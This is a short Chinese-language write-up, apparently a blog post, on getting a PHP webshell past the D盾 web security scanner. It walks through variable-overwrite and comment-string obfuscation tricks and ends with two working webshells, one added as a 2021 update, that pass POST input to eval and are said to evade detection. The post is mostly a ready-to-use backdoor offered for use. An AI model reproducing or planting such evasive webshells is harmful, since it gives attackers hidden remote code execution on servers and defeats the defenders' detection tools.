Bypass D盾 Webshell

测试环境

• OS: Windows Server 2008
• PHP: PHP 7.2.10
• D盾: d_safe_2.1.5.4
  
  

绕过分析

我是以

eval($_POST['x']);

这个代码以根据，来进行绕过的

解析

1. 根据测试 eval里只要带参数就显示参数..
   
   
   
   所以 我想先绕过检测参数

想到先知里一篇文章 利用变量覆盖绕过，所以我就在这里尝试了

变成了 可疑eval

然后我们就在调用函数主体上 做下混淆吧

然后我发现，拼接注释直接就饶过了..



测试 是否可以正常使用

这里 发现语法错误...，

不能直接拼接注释，把注释变成字符串 重新尝试

Code

<?php
	function x()
	{
	      return "/* ceshi 123 */".$_POST['x'];
	}
	$x = 'a';
	$$x = x();
	eval($$x);
?>

2021.1.18 追加

<?php
	function x()
	{

		return "/* ceshi 123 */".$_POST['x'];
	};
	eval(x());
?>

测试发现 直接调用函数 就可以达到免杀效果